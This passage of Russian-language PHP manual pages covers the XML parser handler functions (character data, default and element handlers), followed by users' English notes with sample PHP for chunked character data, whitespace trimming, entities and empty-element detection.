        $xml_parser = xml_parser_create();
        xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
        xml_parser_set_option($xml_parser,XML_OPTION_SKIP_WHITE,1);
        xml_parse_into_struct($xml_parser, $data, $vals, $index);
        xml_parser_free($xml_parser);

// $vals = array of XML tags.  Go get em!

?>

Worked like a dream for me.  Enjoy!
matt at mcbridematt dot dhs dot org 16-Dec-2002 05:56
Re: anony at mous dot com
case folding is a violation of the XHTML specification. xhtml is all in lowercase to be inline with the DOM
pupeno at pupeno dot com 16-Nov-2002 01:14
XML is case sensitive, then, from my point of view, disabling case folding doesn't goes against xml 1.0 specifications but the contrary, disabling case folding allow us to distiguish between diferent cases of the same letter ('a' and 'A') which of XML are two diferent things.
From my point of view, disabling case folding is a good practice and I think it should be disabled by default.
More information on:
http://www.isacat.net/2001/xml/case.htm
and
http://www.w3.org/TR/REC-xml
Thank you.
ta at NOSPAM dot magicsquare dot info 09-Jul-2002 04:52
XML_OPTION_SKIP_WHITE works for me (linux, php 4.2.1)

phpinfo says :

XML Support active
XML Namespace Support active
EXPAT Version expat_1.95.2

i guess it depends on expat version/presence
chris at wildcharacters dot com 21-Oct-2001 07:32
The two 'skip' tags are not available to windows users using PHP 4.0.4.  The following:

$skipWhite = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_WHITE);
$skipTagStart = xml_parser_get_option ($xmlParser,XML_OPTION_SKIP_TAGSTART);

generates the following errors:
Warning: xml_parser_get_option: unknown option in c:/program files/abria merlin/apache/htdocs/xml/sax_test.php on line 230
anony at mous dot com 20-Apr-2000 05:26
Disable case folding or your code will be violating the XML 1.0 specification.


Установка обработчика символьных данных

  • « xml_parser_set_option
  • xml_set_default_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика символьных данных

xml_set_character_data_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_character_data_handler — Установка обработчика символьных данных

Описание

xml_set_character_data_handler(XMLParser $parser, callable $handler): true

Устанавливает обработчик символьных данных для заданного XML-анализатора parser.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(XmlParser $parser, string $data): void
parser
XML-парсер, вызывающий обработчик.
data
Данные в виде текстовой строки.

Обработчик символьных данных вызывается для каждого фрагмента текста в XML-документе. Он также может вызываться несколько раз внутри каждого фрагмента (например для не ASCII-строк).

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

svanegmond at tinyplanet dot ca 08-Oct-2010 12:06
For those who are having their character entities eaten by this function (e.g. &amp; &lt; and so forth):

You will notice that your callback gets called several times.

input: Give me some beans &amp; rice. &#032;

call 1: Give me some beans
call 2: amp; and rice
call 3: #032;

There is an obvious workaround. This is not perfect:

<?php
        $text = preg_replace('/^([a-z]+;)/','&\1', $text);
        $text = preg_replace('/^(#[0-9]+;)/', '&\1', $text);
?>
jhill at live dot com 28-Aug-2008 07:11
To detect that concatenation of data is taking place, you can keep track of whether the last function call was to the data processing function.
e.g. using $this->inside_data variable below:

<?php
xml_set_element_handler($this->parser, "start_tag", "end_tag");
xml_set_character_data_handler($this->parser, "contents");

protected function contents($parser, $data)
{
    switch ($this->current_tag) {
            case "name":
                if ($this->inside_data)
                    $this->name .= $data; // need to concatenate data
                else
                    $this->name = $data;
                break;
         ...
    }
    $this->inside_data = true;
}

protected function start_tag($parser, $name)
{
    $this->current_tag = $name;
    $this->inside_data = false;
}

protected function end_tag() {
    $this->current_tag = '';
    $this->inside_data = false;
}
?>
unspammable-iain at iaindooley dot com 03-Jan-2006 01:41
re: jason at omegavortex dot com below, another way to deal with whitespace issues is:

        function charData($parser,$data)
        {
            $char_data = trim($data);

            if($char_data)
                $char_data = preg_replace('/  */',' ',$data);

            $this->cdata .= $char_data;
        }

This means that:

    <p>here is my text <a href="something">my text</a>
    and here is some more after some spaces at the
    beginning of the line</p>

comes out properly. You could do further replacements if you want to deal with tabs in your files. i only ever use spaces. if you only use trim() then you would lose the space before the <a> tag above, but trim() is a good way to check for completely empty char data, then just replace more than one space with a single space. this will preserve a single space at the beginning and end of the cdata.
jason at omegavortex dot com 06-Dec-2005 11:00
I don't believe the problem has been addressed, but if you're parsing an XML file and run into the line break (or tab) problem I believe this function may help:

if (!preg_match("/((\r|)\n)/i", $data) || preg_match("/\\t+/i", $data)) {
(Code Here)
}
wako057 at gmx dot fr 22-Aug-2005 09:39
That give an example about the note.
When you are creating a class and you need to use a method of your class to the function xml_set_character_data_handler that is the way to point give the method:

class example
{
   function example()
   {
   }

  function data($parseur, $texte)
  {
      switch ($this->derniereBaliseRencontree)
      {
         case "TITLE":
                     -----
          break;
         case "LINK"
                    -----
         break;
        case "DESCRIPTION":
                    -----
        break;
     }
  }

  function fetchOpen($parseur, $nomBalise, $tableauAttributs)
  {
     ----------------
  }

  function fetchClose($parseur, $nomBalise)
  {
     ----------------
  }

  function ZZZ()
  {
      $parseurXML = xml_parser_create();
       xml_set_element_handler($parseurXML, Array(&$this, 'fetchOpen'),   Array(&$this, 'fetchClose'));
         ---------------- <IMPORTANT> --------------------------
       xml_set_character_data_handler($parseurXML, Array(&$this, 'data'));
        ---------------- </IMPORTANT> --------------------------
}
ben at removethis emediastudios dotcom 05-Aug-2005 03:53
I too love the undocumented "splitting" functionality :-p.

Rather than concatinating the data based on whether or not the current tag name has changed from the previous tag name I suggest always concatinating like the following with the $catData variable being unset in the endElement function:

<?php

function endElement ($parser, $data) {
  global $catData;

  // Because we are at an element end we know any splitting is finished
  unset($GLOBALS['catData']);
}

function characterData ($parser, $data) {
  global $catData;

  // Concatinate data in case splitting is taking place
  $catData.=$data;

}

?>

This got me around a problem with data like the following where, because characterData is not called for empty tags, the previous and current tag names were the same even though splitting was not taking place.

<companydept>
<companydeptID></companydeptID>
<companyID>1</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>2</companyID>
<companydeptName></companydeptName>
</companydept>
<companydept>
<companydeptID></companydeptID>
<companyID>3</companyID>
<companydeptName></companydeptName>
</companydept>
yaroukh at email dot cz 25-Apr-2005 08:51
It would be nice if someone could complete documentation of this function. I think that the "splitting" behaviour should (at least) be mentioned within the documentation, if not explained (please!). I'm not quite sure whether the cut comes after each 1024bytes/chars of data.

My experience looks as follows:
[xmlFile]
...
    <label>slo|?ka</label>
    <comment>koment|?&#345; slo?ky</comment>
...
[/xmlFile]
(Places where the character-data got splitted are marked with pipes. Plus there was latin small letter 'r' with caron instead of &#345;.)

Since the splitting is not mentioned in documentation one could assume that it is a bug; especially when you work with UTF-8 and the cuts come right before some special characters.
(Should the concatenating of $cData be considered to be the proper & 'final' way of processing character-data?)

Also I'd suggest to add another line in "Description" when fc has an alternate usage (instead of hiding it within the "Note" :o); in this particular case I'd prefer this:

Description:
bool xml_set_character_data_handler ( resource parser, callback handler )
bool xml_set_character_data_handler ( resource parser, object reference, method name )

... there are dozens of functions ofcourse where documentation works this way (I mean not mentioning the alternate usage in the "Description" part).

Have a nice day
  Yaroukh
flobee 12-Feb-2005 09:53
re. to Philippe Marc , and  karuna_gadde examples

i found out that the xml_set_character_data_handler call back  function can be called more often for the same element in particular the content is just a few chars long (happen on windows)

so a check up can give you the answer an may be for long strings too.
eg:
<?php
xml_set_character_data_handler($this->parser, "cdata");
//...
function cdata($parser, $cdata) {
// ...
if(isset($this->data[$this->currentItem][$this->currentField])) {
    $this->data[$this->currentItem][$this->currentField] .= $cdata;
} else {
    $this->data[$this->currentItem][$this->currentField] = $cdata;
}
?>
Philippe Marc 28-Oct-2004 07:21
How to overide the 1024 characters limitation of xml_set_character_data_handler.
Took me some time to find out how to deal with that!

When calling a basic XML parser:
$parseurXML = xml_parser_create();
xml_set_element_handler($parseurXML, "opentagfunction", "closetagfunction");
xml_set_character_data_handler($parseurXML, "textfunction");

The textfunction only receive 1024 characters at once, even if the text is 4000 characters long. In facts, the parser seems to split the data in pieces of 1024 characters. The way to handle that is to concatenate them.

example:
If you have an XML tag called UNIPROT_ABSTRACT containing a 4000 characters protein description:
function textfunction($parser, $text)
    {
     if ($last_tag_read=='UNIPROT_ABSTRACT') $uniprot.=$text;
    }
The function is called 4 times and receives 1024+1024+1024+928 characters that will be concatenated in the $uniprot variable using the ".=" concatenation fonction.

Easy to do, but not documented!
Brad dot Harrison at griffith dot edu dot au 11-Jul-2004 10:23
If you need to trim the white space for HTML code and don't rely on spaces for formatting text (if you are then it is time to use Style Sheets) then this code will come in very useful.

 $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
 $data=eregi_replace(">"."[[:space:]]+",">",$data);
 $data=eregi_replace("[[:space:]]+"."<","<",$data);
karuna_gadde at yahoo dot com 27-May-2004 07:01
<?
class Parser {

var $att;
var $id;
var $title;
var $content;
var $index=-1;
var $xml_parser;
var $tagname;

function parser()
{
$file = "data.xml";
$this->xml_parser = xml_parser_create();
xml_set_object($this->xml_parser,$this);
xml_set_element_handler($this->xml_parser, "startElement", "endElement");
xml_set_character_data_handler($this->xml_parser, 'elementContent');
if (!($fp = fopen($file, "r"))) {
die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    $data=eregi_replace(">"."[[:space:]]+"."<","><",$data);
if (!xml_parse($this->xml_parser, $data, feof($fp))) {
die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($this->xml_parser)),
xml_get_current_line_number($this->xml_parser)));
}
}
xml_parser_free($this->xml_parser);
}

function startElement($parser, $name, $attrs) {
if (($name=="TREE") or ($name=="NODE") or ($name=="LEAFNODE"))
    {
         $this->index++;
         $this->att[$this->index]=$name;
    }
    $this->tagname=$name;
}

function elementContent($parser, $data) {
switch ($this->tagname)
{
     case 'ID':
                 $this->id[$this->index]=trim($data);
                 break;
     case 'TITLE' :
                 $this->title[$this->index]=trim($data);
                 //echo $data;
                 break;
     case 'CONTENT'    :
                 $this->content[$this->index]=trim($data);
                 break;

}
}
function endElement($parser, $name){
$this->tagname=="";
}
}
?>

I thought this class is more help full to know about xml_parser with no white spaces
michael dot stilson at wmich dot edu 04-Mar-2004 12:31
Hello,

This is an addition to the note posted by:
wiart at yahoo dot com
22-Aug-2003 05:31
Which is located below.

I had similar problems manually creating XML docs and adding new-lines within my node data, e.g.

<root>
    ...
    <node attribute="something">
        Here is some data. There is a lot of data, and I want to
        be able to read the data from a terminal window, so I add
        newlines to fit everything within 80 columns.
    </node>
    ...
</root>

So, given the above example, my data handler gets called 3 times and the result left in my variable is:

"newlines to fit everything within 80 columns."

Instead of all of the data within "node", which I was expecting.

By using the concatenation operator; however, as suggested by the mentioned note, I was able to get what I needed. Which is of course:

"Here is some data. There is a lot of data, and I want to be able to read the data from a terminal window, so I add newlines to fit everything within 80 columns."
dan30odd08 at hotmail dot com 01-Dec-2003 04:38
I just want to mention that i ran into a problem when parsing an xml file using the character data handler. If you happen to have a string which is also an internal php function stored in your xml data file and you want to output it as a string the parser dosent seem to recognize it.
   I found a way around this problem. In my case i was storing a string with the value read. This would not allow me to output the data so to work around this problem i added a backslash for every character in the data element.

   e.g.      <xml>
    from    <element>read</element>
    to       <element>////read</element>

i dont know if anyone has ran into this problem or not but i thought i would just put it here just so in case someone is getting stuck with this.
wiart at yahoo dot com 22-Aug-2003 05:31
WARNING !!!
Always use concatenation for getting the content of a XML tag when you write the function that will deal with the Character Data handling

Example:

$mycontent = '';
$xml_parser = xml_parser_create ();
xml_set_character_data_handler($xml_parser, "_characterdata");

function _characterdata($parser, $data){
  global $mycontent;
  //HERE: use .= and not =
  $mycontent .= $data;
}

...

while ($data = fread($fp, 4096)) {
    xml_parse($xml_parser, $data, feof($fp));
}

I had the following problem with the use of '=$data' :

In one of my XML documents, the parsing stopped in the middle of a character data :

In original document:
<prop name="nbres">100</prop>

What happened:
<prop name="nbres">10[parsing stopped here in chunck of 4096bytes]0</prop>

As I did not use the concatenation, when I displayed the value of the 'nbres' property, the value was 0 instead of 100 because the first time the function characterdata was called :
$mycontent = 10;

and the second time:
$mycontent = 0;      //!!!!!!!!!!!!! HO HO !! some problem occured ...

Instead of $mycontent = 100;

CONCLUSION:
IN YOUR CHARACTER DATA HANDLER FUNCTIONS, NEVER FORGET THE . (concatenation operator) !!!!! IF YOU DON'T WANT TO HAVE WEIRD BUGS SOME TIMES
morris_hirsch at hotmail dot com 18-Aug-2003 09:15
Thanks to Christian Stocker for clearing up my entity issues,  where some entities are parsed correctly and others not.

The problem is the ''wide'' entities that have a large numeric code simply can not fit in a single byte, which is the default encoding for both source input to the parser and data output from the parser.  So the parser puts out a ''?'' to say it could not store the code value. One could argue that if the input has a &1234; the output should simply copy it as &1234; instead of the ''?'' but that would still mean the  parser behaves two different ways according to the code values, and anyway they don't do it.

So, we need utf8 encoding for the output, and the slightly not obvious way to say so is

  $xml_parser = xml_parser_create ("UTF-8");

which means BOTH source input and data output are utf8.
Remember that utf8 is a superset of basic ASCII but not of extended ASCII, so your input can contain e.g. &eacute;
spelled out, but a native eacute character is wrong here.
Just utf8_encode your input to be sure.

That should do it, and thanks again for the help.
morris_hirsch at hotmail dot com 06-Aug-2003 12:23
Here are two ways to deal with named entities in the XML.

1. Put a list of named entities at the front so the parser knows what they all mean

  $decl = '<!DOCTYPE rootname [

<!ENTITY frac12  "&#x00BD;" >
<!ENTITY frac14  "&#x00BC;" >
<!ENTITY frac34  "&#x00BE;" >
<!ENTITY frac18  "&#x215B;" >
<!ENTITY frac38  "&#x215C;" >
<!ENTITY frac58  "&#x215D;" >
<!ENTITY frac78  "&#x215E;" >
<!ENTITY frac13  "&#x2153;" >
<!ENTITY frac23  "&#x2154;" >
<!ENTITY frac15  "&#x2155;" >
<!ENTITY frac25  "&#x2156;" >
<!ENTITY frac35  "&#x2157;" >
<!ENTITY frac45  "&#x2158;" >
<!ENTITY frac16  "&#x2159;" >
<!ENTITY frac56  "&#x215A;" >

<!ENTITY mdash  "&#x2014;" >

 ..... lots of others

<!ENTITY uuml    "&#252;" >
<!ENTITY yacute  "&#253;" >
<!ENTITY thorn   "&#254;" >
<!ENTITY yuml    "&#255;" >

]>';

$parseThis = $decl . "<rootname> ..... </rootname>";

This works fine for all the single-byte (European) codes,
but not the wide codes like emdash or frac18.
They seem to be trashed when the character data handler gets them.  They all echo as "?"

There may be a way to make them work, but until I find it,
or a newer release takes care of it, here is a work-around that does work.

2. Rewrite every ampersand as &amp; in the input stream

 $ampXML = str_replace ("&", "&amp;", $sourceXML);

Now the parser will see &amp;foo; instead of &foo;

It does not try to decode it, so wide (two byte) values are not a problem, and no list of names is needed.

When you write that to your output you have &foo;

which is usually fine for the next stage of your process.
www.PhoC.de 20-May-2003 07:39
In some cases it's better to avoid storing data which is not needed. In these cases the function

chop()  ( => Alias of function rtrim() )

could be usefull to prevent data like

"\t"
"\r"
"\o"
"\n"
"\x0B"
" "

to be stored in a array or a string or something like this.

Example: (storing data in a string)
________________
$filename="xyz.xml";

if(!($fp=fopen($filename,"r"))){
   die("Cannot open $filename ");
}

while (!feof($fp))
{
   $data .= chop(fgets($fp, 4096));
}

fclose($fp);
________________

Have a look at the documentation of rtrim() http://www.php.net/manual/en/function.rtrim.php.

Greetz
PhoC
waldo at wh-e dot com 06-Mar-2002 09:52
Here's a way to strip all the spaces between tags in an xml document.

//strip white space between tags
$data=eregi_replace(">"."[[:space:]]+"."<","><",$data);

So this:

<house>
  <garage>
    <car>Waldo</car>
  </garage>
</house>

would be changed to:

<house><garage><car>Waldo</car></garage></house>

It was useful to me. Maybe you too?
ken at positive-edge dot com 29-Jan-2002 08:20
the function handler is called several times when it parses the character data.  It doesn't return the entire string as it suggests.  There are special exceptions that will always force the parser to stop scanning and call the character data handler.  This is when:

- The parser runs into an Entity Declaration, such as &amp; (&) or &apos; (?)
- The parser finishes parsing an entity
- The parser runs into the new-line character (\n)
- The parser runs into a series of tab characters (\t)

And perhaps others.

For instance, if we have this xml content:

<mytag name=?Ken Egervari? title=?Chief Technology Officer?>
    Ken has been Positive Edge&apos;s Chief Technology Officer for 2 years.
</mytag>

The parser will call the character data handler 6 times.  This is what will happen:

1    \n
2    \t
3    Ken has been Positive Edge
4    ?
5    s Chief Technology Officer for 2 years.
6    \n

I hope that helps people out.
mogmios at mlug dot missouri dot edu 24-Oct-2001 04:24
If you want to strip unwanted whitespace in an HTML-like manner then there are two steps.

The first you need to strip consecutive whitespaces from all you input data like this:  $data = eregi_replace ( "[[:space:]]+", " ", $data );

Then in your cdata handler make a check to see if it's blank space. An easy way is like this: if ( trim ( $cdata ) ) { work on cdata }

That should take care of any whitespace issues you might have.
annies at cs dot tu-berlin dot de 03-Aug-2001 10:43
The maximum size of the second parmeter $data seems to be 1024. Is there more character data  in the XML text the handler is called again immediately with the next portion.


Установка обработчика по умолчанию

  • « xml_set_character_data_handler
  • xml_set_element_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика по умолчанию

xml_set_default_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_default_handler — Установка обработчика по умолчанию

Описание

xml_set_default_handler(XMLParser $parser, callable $handler): true

Задаёт обработчик по умолчанию для XML-анализатора parser.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(XmlParser $parser, string $data): void
parser
XML-парсер, вызывающий обработчик.
data
Параметр data содержит данные в виде текстовой строки. Это может быть объявление XML, объявление типа документа, сущности или другие данные, для которых не существует другого обработчика.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

jp dot amarok at email dot cz 22-Apr-2024 04:00
For anyone who was also wondering what kind of events this function actually handles:

it's used in cases when an XML comment is found or an additional declaration like an xml-stylesheet. In such cases the data argument contains the whole string as it is, for example:

<!-- this is a comment -->
<?xml-stylesheet title="mystyle" type="text/xsl" href="style.xsl" ?>
anoril at anoril dot com 13-Jul-2006 07:54
I have the same issue using two installation of PHP5: on accepts to use the default handler while the other only uses the character_data one.

Maybe a configuration problem...

;) Nonor.
phillip 26-Apr-2005 02:13
it seems to me that in PHP5 the function defined as default-handler (using xml_set_default_handler()) doesen't get passed the cdata anymore:

i.e.:
xml_set_element_handler($this->parser, 'parseSTART', 'parseEND');
xml_set_default_handler($this->parser, 'parseDEFAULT');
function parseSTART() { ... }
function parseEND() { ... }
function parseDEFAULT() { ... }

under PHP5, parseDEFAULT will NOT get passed any cdata, but unter PHP4 it will. at least that's my take on the strange stuff (not) happening after migrating to PHP5.

my solution was to add a xml_set_character_data_handler($parser, 'parseDEFAULT'). it worked for me.


Устанавливает обработчик начального и конечного элементов

  • « xml_set_default_handler
  • xml_set_end_namespace_decl_handler »
  • PHP Manual
  • Функции парсера XML
  • Устанавливает обработчик начального и конечного элементов

xml_set_element_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_element_handler — Устанавливает обработчик начального и конечного элементов

Описание

xml_set_element_handler(XMLParser $parser, callable $start_handler, callable $end_handler): true

Функция устанавливает функцию-обработчик элементов для XML-анализатора parser.

Параметр start_handler вызывается при открытии нового XML-элемента. Параметр end_handler вызывается при закрытии XML-элемента.

Список параметров

parser

Парсер XML.

start_handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатуру обработчика определяют вот так:

start_element_handler(XMLParser $parser, string $name, array $attributes): void
parser
XML-парсер, вызывающий обработчик.
name
Содержит имя элемента, для которого вызывается этот обработчик. Если для этого синтаксического анализатора действует приведение к единому регистру, то имя элемента будет в верхнем регистре.
attributes
Ассоциативный массив с атрибутами элемента. Массив пуст, если у элемента нет атрибутов. Ключи этого массива — имена атрибутов, значения — значения атрибутов. Имена атрибутов приводятся к единому регистру по тем же критериям, что и имена элементов. Значения атрибутов не приводятся к одному регистру. Порядок извлечения атрибутов attributes идентичен порядку объявления атрибутов.

end_element

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатуру обработчика определяют вот так:

end_element_handler(resource $parser, string $name): void
parser
XML-парсер, вызывающий обработчик.
name
Содержит имя элемента, для которого вызывается этот обработчик. Если для этого синтаксического анализатора действует приведение к единому регистру, то имя элемента будет в верхнем регистре.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

kok at nachon dot nl 26-Sep-2008 06:44
Here is another example of detecting empty elements. I works with libxml2. Note that it handles buffer boundaries.

<?php

$depth = 0; //current depth, used for pretty printing
$empty = false; //whether the tag is empty
$offset = 0; //the index of the start of the current buffer within the stream

function tagStart($parser, $name, array $attribs) {
    global $depth, $empty, $data, $offset, $lastchar;
    $idx = xml_get_current_byte_index($parser);
    /* xml_get_current_byte_index returns index within the streams and not
       within the buffer.*/

    /* Check if the index is within the buffer. */
    if (isset($data[$idx - $offset])) {
        $c = $data[$idx - $offset];
    } else {
        /* If it isn't simple use the last character of the buffer. */
        $c = $lastchar;
    }
    $empty = $c == '/';
    echo str_repeat("\t", $depth), "<$name", ($empty ? '/>' : '>'), "\n";
    if (!$empty) ++$depth;
}

function tagEnd($parser, $name) {
    global $depth, $empty;
    if (!$empty) {
        --$depth;
        echo str_repeat("\t", $depth), "</$name>\n";
    } else {
        $empty = false;
    }
}

$parser = xml_parser_create();
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
xml_set_element_handler($parser, 'tagStart', 'tagEnd');

$data1 = '
<test>
    <empty att="3" />
    <nocontent></nocontent>
    <content>
        <empty/>
        <empty/>
    </content>
    <empty/';

$data2 = '>
    <empty att="5" />
</test>
';

$data = &$data1;
$length = strlen($data1);
$lastchar = $data[$length-1];
xml_parse($parser, $data1);
$offset .= $length;
$data = &$data2;
xml_parse($parser, $data2);
darien at etelos dot com 12-Feb-2007 10:48
This documentation is somewhat awry. I know it's been said many times before, but it bears repeating...

If using PHP4, you may be required to use xml_set_object() instead of calling any of the xml_set_*_handler() functions with a two-item array. It will work fine on PHP5, but move the same code to PHP4 and it will create one copie of $this (even if you use &$this) for each handler you set!

<?php
// This code will fail mysteriously on PHP4.
$this->parser = xml_parser_create();
xml_set_element_handler(
            $this->parser,
            array(&$this,"start_tag"),
            array(&$this,"end_tag")
        );
        xml_set_character_data_handler(
            $this->parser,
            array(&$this,"tag_data")
        );
?>

<?php
// This code will work on PHP4.
$this->parser = xml_parser_create();
xml_set_object($this->parser,&$this);
xml_set_element_handler(
            $this->parser,
            "start_tag",
            "end_tag"
        );
        xml_set_character_data_handler(
            $this->parser,
            "tag_data"
        );
?>
lloeki at gmail dot com 31-Oct-2006 03:07
I modified the previous script, so that it is associative. I find it more useful that way. BTW I prefer strtolower() things, but that's not mandatory at all.

<?php

$file = "data.xml";
$depth = 0;
$tree = array();
$tree['name'] = "root";
$stack[] = &$tree;

function startElement($parser, $name, $attrs) {
   global $depth;
   global $stack;
   global $tree;

   $element = array();
   foreach ($attrs as $key => $value) {
       $element[strtolower($key)]=$value;
   }

   end($stack);
   $stack[key($stack)][strtolower($name)] = &$element;
   $stack[strtolower($name)] = &$element;

   $depth++;
}

function endElement($parser, $name) {
   global $depth;
   global $stack;

   array_pop($stack);
   $depth--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
xml_parser_free($xml_parser);
$tree = end(end($stack));
echo "<pre>";
print_r($tree);
echo "</pre>";

?>
rubentrancoso at gmail dot com 29-Aug-2006 01:44
My 25 cents. This example show how to parse a XML in a associative array tree.

<?php

$file = "flow/flow.xml";
$depth = 0;
$tree = array();
$tree['name'] = "root";
$stack[count($stack)] = &$tree;

function startElement($parser, $name, $attrs) {
   global $depth;
   global $stack;
   global $tree;

   $element = array();
   $element['name'] = $name;
   foreach ($attrs as $key => $value) {
        //echo $key."=".$value;
        $element[$key]=$value;
    }

   $last = &$stack[count($stack)-1];
   $last[count($last)-1] = &$element;
   $stack[count($stack)] = &$element;

   $depth++;
}

function endElement($parser, $name) {
   global $depth;
   global $stack;

   array_pop($stack);
   $depth--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
xml_parser_free($xml_parser);
$tree = $stack[0][0];
echo "<pre>";
print_r($tree);
echo "</pre>";
redb 15-May-2006 05:48
Example below (BadParser) works fine with some changes.

xml_set_element_handler ( $parser, array ( &$this, 'tagStart' ), array ( &$this, 'tagEnd' ) );
xml_set_character_data_handler ( $parser, array ( &$this, 'tagContent' ) );
vladimir-leontiev at uiowa dot edu 13-Dec-2005 09:44
It seems that characterData() gets characters in chuncks of 1024; therefore if you have string of characters between you tags that is longer than 1024 then characterData() will be called more that once for single pair of tags. I don't know if this feature(bug?) is documented anywhere, I just wanted to warn everyone about this; it had tripped me. I use php 4.3.10 on Linux.
hendra_g at hotmail dot com 19-Nov-2005 08:10
I ran into the same problem with 'ibjoel at hotmail dot com' in regards to self-closing tags, and found that the script that he/she wrote did not work as I expected.
I played around with some of php's functions and examples and compiled something, which may not be the neatest solution, but it works for the data that 'ibjoel at hotmail dot com' provided.
The data needs to be read from a file though, so the fp can be utilised. It still uses the xml_get_current_byte_index(resource parser) trick, but this time, I check for the last 2 character before the index and test if it's "/>".

<?php
/* myxmltest.xml:
<normal_tag>
  <self_close_tag />
     data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
     data
  <normal_tag></normal_tag>
</normal_tag>
*/

//## Global Variables ##//
$file = "myxmltest.xml";
$character_data_on = false;
$tag_complete = true;

function startElement($parser, $name, $attrs)
{
    global $character_data_on;
    global $tag_complete;

    echo "&lt;<font color=\"#0000cc\">$name</font>";
    //## Print the attributes ##//
    if (sizeof($attrs)) {
        while (list($k, $v) = each($attrs)) {
            echo " <font color=\"#009900\">$k</font>=\"<font
                   color=\"#990000\">$v</font>\"";
        }
    }
    //## Tag is still still incomplete,
    //## will be completed at either endElement or characterData ##//
    $tag_complete = false;
    $character_data_on = false;
}

function endElement($parser, $name)
{
    global $fp;
    global $character_data_on;
    global $tag_complete;

    //#### Test for self-closing tag ####//
    //## xml_get_current_byte_index(resource parser) when run in this
    //## function, gives the index at (indicated by *):
    //##   for self closing tag: <br />*
    //##   for individual closing tag: <div>character data*</div>
    //## So to test for self-closing tag, we can just test for the last 2
    //## characters from the index
    //###################################//

    if (!$character_data_on) {
        //## Record current fp position ##//
        $temp_fp = ftell($fp);

        //## Point fp to 2 bytes before the end element byte index ##//
        $end_element_byte_index = xml_get_current_byte_index($parser);
        fseek($fp,$end_element_byte_index-2);

        //## Gets the last 2 characters before the end element byte index ##//
        $validator = fgets($fp, 3);

        //## Restore fp position ##//
        fseek($fp,$temp_fp);

        //## If the last 2 character is "/>" ##//
        if ($validator=="/>") {
            //// Complete the self-closing tag ////
            echo " /&gt";
            //// Otherwise it is an individual closing tag ////
        } else echo "&gt&lt/<font color=\"#0000cc\">$name</font>&gt";
        $tag_complete = true;
    } else echo "&lt/<font color=\"#0000cc\">$name</font>&gt";

    $character_data_on = false;
}

function characterData($parser, $data)
{
    global $character_data_on;
    global $tag_complete;

    if ((!$character_data_on)&&(!$tag_complete)) {
        echo "&gt";
        $tag_complete = true;
    }
    echo "<b>$data</b>";
    $character_data_on = true;
}

$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, false);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

echo "<pre>";
while ($file_content = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $file_content, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
echo "</pre>";
xml_parser_free($xml_parser);
?>
turan dot yuksel at tcmb dot gov dot tr 20-Sep-2005 03:41
The method that 'ibjoel at hotmail dot com' have described requires libxml2 as the xml parser, it does not work with expat. For a brief explanation, see xml_get_current_byte_index.
ibjoel at hotmail dot com 01-Aug-2005 03:49
